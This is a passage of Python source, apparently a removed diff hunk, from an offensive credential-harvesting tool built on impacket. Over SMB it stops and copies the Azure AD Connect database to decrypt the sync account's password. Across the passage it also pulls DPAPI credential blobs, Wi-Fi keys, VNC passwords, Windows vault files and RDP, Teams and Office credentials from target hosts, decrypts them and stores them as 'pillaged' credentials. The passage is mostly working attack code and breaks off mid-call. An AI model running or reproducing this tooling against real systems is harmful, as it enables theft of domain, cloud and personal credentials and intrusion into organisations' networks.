data.split(';') - out['instance'] = instance - out['keyset_id'] = keyset_id - out['entropy'] = entropy - # if self.__options.from_file: - # infile.close() - # Check if all values are in the outdata - required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy'] - for option in required: - if not option in out: - logging.error( - 'Missing data from database. Option %s could not be extracted. Check your database or output file.', - option) - return None - return out - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}") - self.logging.debug(ex) - - def Get_AD_Connect(self, user, localfile, data): - # Local DPAPI extracted data - info = "" - parts = data['Target'].decode('utf-16le')[:-1].split('_') - localBlobdatas = { - 'instanceid': parts[3][1:-1].lower(), - 'keyset_id': parts[4], - 'data': data['Unknown3'] - } - # print(localBlobdatas) - - # ADConnect Database data - logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}") - try: - # Stop Service / Download DB / Start DB - myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False) - myADSRemoteOps.gatherAdSyncMdb() - # files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf'] - mdbdata = self.getMdbData() - if mdbdata is None: - logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting") - return - # print(mdbdata) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}") - self.logging.debug(ex) - - result = localBlobdatas - if result is not None: - if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']: - logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next', - result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance']) - else: - logging.debug('Found correct encrypted keyset to decrypt data') - if result is None: - logging.debug('Failed to find correct keyset data') - return - - # cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))] - myoptions = copy.deepcopy(self.options) - myoptions.file = None # "key_material.tmp" # BLOB to parse - myoptions.key = None - myoptions.masterkeys = None # user.masterkeys_file - mydpapi = DPAPI(myoptions, self.logging) - guid = mydpapi.find_Blob_masterkey(raw_data=result['data']) - self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}") - if guid != None: - machine_user = user = self.GetUserByName('MACHINE$') - masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE') - if masterkey != None: - if masterkey['status'] == 'decrypted': - mydpapi.options.key = masterkey['key'] - # cred_data = mydpapi.decrypt_credential() - cryptkeys = [ - mydpapi.decrypt_blob(raw_data=result['data'], entropy=string_to_bin(mdbdata['entropy']))] - try: - logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}') - for index, record in enumerate(mdbdata['cryptedrecords']): - # Try decrypting with highest cryptkey record - self.logging.debug(f"[{self.options.target_ip}] {index} - {record}") - drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '') - # print(drecord) - with open('r%d_xml_data.xml' % index, 'w') as outfile: - data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le') - outfile.write(data) - with open('r%d_encrypted_data.xml' % index, 'w') as outfile: - outfile.write(drecord) - ctree = ET.fromstring(drecord) - dtree = ET.fromstring(data) - if 'forest-login-user' in data: - logging.debug('Local AD credentials') - el = dtree.find(".//parameter[@name='forest-login-domain']") - if el is not None: - logging.debug('\tDomain: %s', el.text) - username = el.text - el = dtree.find(".//parameter[@name='forest-login-user']") - if el is not None: - username += '/' + el.text - # logging.debug('\tUsername: %s', el.text) - else: - # Assume AAD config - logging.debug('Azure AD credentials') - el = dtree.find(".//parameter[@name='UserName']") - if el is not None: - username = el.text - logging.debug('\tUsername: %s', el.text) - # Can be either lower or with capital P - fpw = None - el = ctree.find(".//attribute[@name='Password']") - if el is not None: - fpw = el.text - el = ctree.find(".//attribute[@name='password']") - if el is not None: - fpw = el.text - if fpw: - # fpw = fpw[:len(fpw)/2] + '...[REDACTED]' - logging.debug('\tPassword: %s', fpw) - info += f"{username} : {fpw}\n" - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}") - ############PROCESSING DATA - self.db.add_credz(credz_type='ADConnect', - credz_username=username, - credz_password=fpw, - credz_target='', - credz_path='', # user.files['ADCONNECT']['path'], - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}") - self.logging.debug(ex) - else: - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}") - return info - - def Get_DPAPI_Protected_Files(self): - self.logging.info( - f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}") - blacklist = ['.', '..'] - # credentials ? - # Vaults ? - # Parse chrome - # autres navigateurs ? - # CredHistory - # Appdata Roaming ? - - user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'), - ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', - 'credential', 'MACHINE-USER'), - ( - "Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'), - ( - "Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", - "*.rdg", 'rdg', 'DOMAIN') - ] # ADD Desktop for RDG - machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", '*', - 'credential', 'MACHINE'), - ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', - 'credential', 'MACHINE-USER'), - ("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', - 'MACHINE-USER'), - # Valider le %systemdir% selon la version de windows ? - ] - - for user in self.users: - if user.username == 'MACHINE$': - directories_to_use = machine_directories - else: - directories_to_use = user_directories - - # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup - for info in directories_to_use: - my_dir, my_mask, my_blob_type, my_user_type = info - tmp_pwd = my_dir.format( - username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir) - self.logging.debug( - f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") - my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) - for infos in my_directory: - longname, is_directory = infos - self.logging.debug("ls returned file %s" % longname) - if longname not in blacklist and not is_directory: - try: - self.logging.debug( - f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}") - # Downloading Blob file - localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname)) - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['path'] = localfile - - myoptions = copy.deepcopy(self.options) - myoptions.file = localfile # Masterkeyfile to parse - myoptions.masterkeys = None # user.masterkeys_file - myoptions.key = None - mydpapi = DPAPI(myoptions, self.logging) - guid = mydpapi.find_CredentialFile_masterkey() - self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}") - if guid != None: - masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) - if masterkey != None: - if masterkey['status'] == 'decrypted': - mydpapi.options.key = masterkey['key'] - cred_data = mydpapi.decrypt_credential() - if cred_data != None: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}") - user.files[longname]['status'] = 'decrypted' - user.files[longname]['data'] = cred_data - self.process_decrypted_data(user, user.files[ - longname]) # cred_data,user,localfile,my_blob_type) - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") - self.logging.debug(ex) - return 1 - - def GetWifi(self): - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}") - blacklist = ['.', '..'] - machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces", '*.xml')] - - for info in machine_directories: - user = self.GetUserByName('MACHINE$') - my_dir, my_mask = info - # interface name - self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}") # No mask - my_directory = self.myfileops.do_ls(my_dir, '*', display=False) - for infos in my_directory: - longname, is_directory = infos - if longname not in blacklist and is_directory: - self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}") - tmp_pwd = ntpath.join(my_dir, longname) - my_directory2 = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) - for infos2 in my_directory2: - longname2, is_directory2 = infos2 - if longname2 not in blacklist and not is_directory2: - self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}") - # Downloading Blob file - localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname2)) - user.files[longname2] = {} - user.files[longname2]['type'] = 'wifi' - user.files[longname2]['status'] = 'encrypted' - user.files[longname2]['path'] = localfile - - with open(localfile, 'rb') as f: - try: - file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'') - wifi_name = re.search(b'([^<]+)', file_data) - wifi_name = wifi_name.group(1) - user.files[longname2]['wifi_name'] = wifi_name - key_material_re = re.search(b'([0-9A-F]+)', file_data) - if not key_material_re: - continue - key_material = key_material_re.group(1) - # with open("key_material.tmp", "wb") as f: - # f.write(binascii.unhexlify(key_material)) - except Exception as ex: - self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}") - self.logging.debug(ex) - - try: - myoptions = copy.deepcopy(self.options) - myoptions.file = None # "key_material.tmp" # BLOB to parse - myoptions.key = None - myoptions.masterkeys = None # user.masterkeys_file - mydpapi = DPAPI(myoptions, self.logging) - guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material)) - self.logging.debug( - f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}") - if guid != None: - masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE') - if masterkey != None: - if masterkey['status'] == 'decrypted': - mydpapi.options.key = masterkey['key'] - # cred_data = mydpapi.decrypt_credential() - cred_data = mydpapi.decrypt_blob( - raw_data=binascii.unhexlify(key_material)) - if cred_data != None: - user.files[longname2]['status'] = 'decrypted' - user.files[longname2]['data'] = cred_data - user.files[longname2]['secret'] = cred_data - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}") - ############PROCESSING DATA - self.db.add_credz(credz_type='wifi', - credz_username=wifi_name.decode('utf-8'), - credz_password=cred_data.decode('utf-8'), - credz_target=wifi_name.decode('utf-8'), - credz_path=user.files[longname2]['path'], - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - # semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name]) - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") - except Exception as ex: - self.logging.error( - f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}") - self.logging.debug(ex) - return 1 - - def GetVNC(self): - try: - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}") - myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db) - myvnc.vnc_from_filesystem() - myvnc.vnc_from_registry() - except Exception as ex: - self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}") - self.logging.debug(ex) - - def GetVaults(self): - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}") - blacklist = ['.', '..', 'UserProfileRoaming'] - # credentials ? - # Vaults ? - # Parse chrome - # autres navigateurs ? - # CredHistory - - user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault', 'DOMAIN')] - machine_directories = [("ProgramData\\Microsoft\\Vault", '*', 'vault', 'MACHINE'), - ("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\", '*', - 'vault', 'MACHINE')] # Windows hello pincode - - for user in self.users: - if user.username == 'MACHINE$': - directories_to_use = machine_directories - else: - directories_to_use = user_directories - - if len(user.masterkeys_file) > 0: # Pas de masterkeys==pas de datas a recup - for info in directories_to_use: - my_dir, my_mask, my_blob_type, my_user_type = info - tmp_pwd = my_dir.format( - username=user.username) # f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) - self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask)) - my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) - for infos in my_directory: - longname, is_directory = infos - self.logging.debug("ls returned %s" % longname) - if longname not in blacklist and is_directory: - self.logging.debug("Got Vault Directory %s" % longname) - tmp_pwd2 = ntpath.join(tmp_pwd, longname) - try: - # First get the Policy.vpol - local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol")) - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['UID'] = longname - user.files[longname]['path'] = tmp_pwd2 - user.files[longname]['vpol_path'] = local_vpol_file - user.files[longname]['vpol_status'] = 'encrypted' - user.files[longname]['vsch'] = {} - user.files[longname]['vcrd'] = {} - user.files[longname]['data'] = '' - # Decrypt the keys - - myoptions = copy.deepcopy(self.options) - myoptions.vcrd = None # Vault File to parse - myoptions.masterkeys = None - myoptions.vpol = local_vpol_file - myoptions.key = None - mydpapi = DPAPI(myoptions, self.logging) - guid = mydpapi.find_Vault_Masterkey() - if guid != None: - masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) - if masterkey != None: - if masterkey['status'] == 'decrypted': - mydpapi.options.key = masterkey['key'] - keys = mydpapi.decrypt_vault() - if keys != None: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}") - tmp_vaultkeys = [] - if keys['Key1']['Size'] > 0x24: - tmp_vaultkeys.append( - '0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob'])) - tmp_vaultkeys.append( - '0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob'])) - else: - tmp_vaultkeys.append( - '0x%s' % binascii.hexlify( - keys['Key2']['bKeyBlob']['bKey']).decode('latin-1')) - tmp_vaultkeys.append( - '0x%s' % binascii.hexlify( - keys['Key1']['bKeyBlob']['bKey']).decode('latin-1')) - self.logging.debug( - f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}") - user.files[longname]['vpol_status'] = 'decrypted' - user.files[longname]['status'] = 'decrypted' - user.files[longname]['data'] = tmp_vaultkeys - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}") - continue - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") - continue - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") - continue - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") - continue - - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}") - self.logging.debug(ex) - continue - - # Look for .vsch : Vault Schema file - - # Then gets *.vcrd files - my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False) - self.logging.debug( - f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}") - for infos2 in my_directory2: - longname2, is_directory2 = infos2 - self.logging.debug("ls returned file %s" % longname2) - if longname2 not in blacklist and not is_directory2 and not longname2 == "Policy.vpol": - try: - # Downloading Blob file - localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2)) - if longname2[-4:] == 'vsch': # PAS G2R2 pour le moment - user.files[longname]['vsch'][localfile] = {} - user.files[longname]['vsch'][localfile]['status'] = 'encrypted' - user.files[longname]['vsch'][localfile]['type'] = 'vsch' - user.files[longname]['vsch'][localfile]['vault_name'] = longname2 - user.files[longname]['vsch'][localfile]['path'] = localfile - continue - elif longname2[-4:] == 'vcrd': - user.files[longname]['vcrd'][localfile] = {} - user.files[longname]['vcrd'][localfile]['status'] = 'encrypted' - user.files[longname]['vcrd'][localfile]['type'] = 'vcrd' - user.files[longname]['vcrd'][localfile]['vault_name'] = longname2 - user.files[longname]['vcrd'][localfile]['path'] = localfile - - myoptions = copy.deepcopy(self.options) - myoptions.vcrd = localfile # Vault File to parse - myoptions.vaultkeys = tmp_vaultkeys - myoptions.vpol = None - myoptions.key = None - mydpapi = DPAPI(myoptions, self.logging) - vault_data, data_type = mydpapi.decrypt_vault() - if vault_data != None: - user.files[longname]['vcrd'][localfile]['status'] = 'decrypted' - user.files[longname]['vcrd'][localfile]['data'] = vault_data - user.files[longname]['vcrd'][localfile]['vault_type'] = data_type - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}") - self.process_decrypted_vault(user, user.files[longname]['vcrd'][ - localfile]) # vault_data,user,localfile,my_blob_type,args=[longname2,data_type]) - - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}") - self.logging.debug(ex) - return 1 - - def dump_to_file(self, localfile_encrypted, localdata_decrypted): - self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}") - try: - localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0], - os.path.split(localfile_encrypted)[1] + "_decrypted") - fh = open(localfile_decrypted, 'wb') - fh.write(f"{localdata_decrypted}".encode('utf-8')) - fh.close() - return 1 - except Exception as ex: - self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}") - self.logging.debug(ex) - - def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]): - try: - self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}") - blob_type = secret_file['type'] - localfile = secret_file['path'] - data = secret_file['data'] - if blob_type == 'rdg': - self.logging.debug("IT S A Remote Desktop Cred file") - clear_data = self.dump_credential_blob(data) - elif blob_type == 'credential': - - if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in \ - data['Target'].decode('utf-16le'): - clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) - elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in \ - data['Target'].decode('utf-16le'): - self.logging.debug("IT S A MSTeam Credential!") - clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) - elif 'Domain:batch=TaskScheduler' in data['Target'].decode( - 'utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'): - self.logging.debug("IT S A TaskScheduler Cred!") - clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data) - '''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx} - Username : Domain\Administrateur - Unknown3 : @&&&&&&& - ''' - elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode( - 'utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode( - 'utf-16le'): - self.logging.debug("IT S A Office365 Cred!") - clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) - ''' - [CREDENTIAL] - LastWritten : 2020-02-18 08:48:39 - Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) - Persist : 0x3 (CRED_PERSIST_ENTERPRISE) - Type : 0x1 (CRED_PERSIST_SESSION) - Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com - Description : - Unknown : - Username : - Unknown3 : xxxxxxxxx - - - - ''' - elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'): - self.logging.debug("IT S A Windows Live service or application Cred!") - clear_data = self.dump_credential_blob(user, localfile, data) - # ADCONNECT - elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'): - self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}") - clear_data = self.Get_AD_Connect(user, localfile, data) - elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'): # Autres Targets - self.logging.debug("Other legacy Credential") - clear_data = self.dump_credential_blob(user, localfile, data) - else: - self.logging.debug("Unknown Cred Target content - testing as Credential BLOB") - clear_data = self.dump_credential_blob(user, localfile, data) - # clear_data = '' - secret_file['secret'] = clear_data - self.dump_to_file(localfile, clear_data) - self.logsecret(clear_data) - - # TSE Account - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - - def dump_credential_blob(self, user, localfile, decrypted_blob): - # from impacket.ese import getUnixTime - try: - self.logging.debug("Dumping decrypted credential blob info to file") - # self.logging.debug(decrypted_blob) - info = "\n" - info += f"[CREDENTIAL]\n" - try: - info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" - info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" - info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" - info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" - self.logging.debug(info) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") - self.logging.debug(ex) - info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" - info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" - info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" - info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" - try: - info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" - password = f"{decrypted_blob['Unknown3'].decode('utf-16le')}" - except UnicodeDecodeError: - info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" - password = f"{decrypted_blob['Unknown3'].decode('latin-1')}" - # print() - if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}": # "WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ? - for entry in decrypted_blob.attributes: - try: - info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n" - info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(CREDENTIAL_FLAGS, entry['Flags'])}\n" - info += f"Data : {entry['Data']}\n" - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}") - self.logging.debug(ex) - entry.dump() - continue - - ############PROCESSING DATA - self.db.add_credz(credz_type='credential-blob', - credz_username=decrypted_blob['Username'].decode('utf-16le'), - credz_password=password, - credz_target=decrypted_blob['Target'].decode('utf-16le'), - credz_path=localfile, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - - self.logging.debug(info) - return info - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") - self.logging.debug(ex) - - def dump_CREDENTIAL_TSE(self, user, localfile, decrypted_blob): - # from impacket.ese import getUnixTime - try: - self.logging.debug("Dumping TSE decrypted credential blob info to file") - # self.logging.debug(decrypted_blob) - info = "\n" - info += f"[CREDENTIAL]\n" - try: - info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" - info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" - info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" - info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") - self.logging.debug(ex) - info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" - info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" - info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" - info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" - try: - info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" - password = decrypted_blob['Unknown3'].decode('utf-16le') - except UnicodeDecodeError: - info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" - password = decrypted_blob['Unknown3'].decode('latin-1') - ############PROCESSING DATA - self.db.add_credz(credz_type='browser-internet_explorer', - credz_username=decrypted_blob['Username'].decode('utf-16le'), - credz_password=password, - credz_target=decrypted_blob['Target'].decode('utf-16le'), - credz_path=localfile, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - self.logging.debug(info) - return info - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") - self.logging.debug(ex) - - def dump_CREDENTIAL_MSOFFICE(self, user, localfile, decrypted_blob): - # from impacket.ese import getUnixTime - try: - self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file") - # self.logging.debug(decrypted_blob) - info = "\n" - info += f"[CREDENTIAL]\n" - try: - info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" - info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" - info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" - info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") - self.logging.debug(ex) - info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" - info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" - info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" - info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" - try: - info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" - password = decrypted_blob['Unknown3'].decode('utf-16le') - except UnicodeDecodeError: - info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" - password = decrypted_blob['Unknown3'].decode('latin-1') - - ############PROCESSING DATA - self.db.add_credz(credz_type='browser-internet_explorer', - credz_username=decrypted_blob['Username'].decode('utf-16le'), - credz_password=password, - credz_target=decrypted_blob['Target'].decode('utf-16le'), - 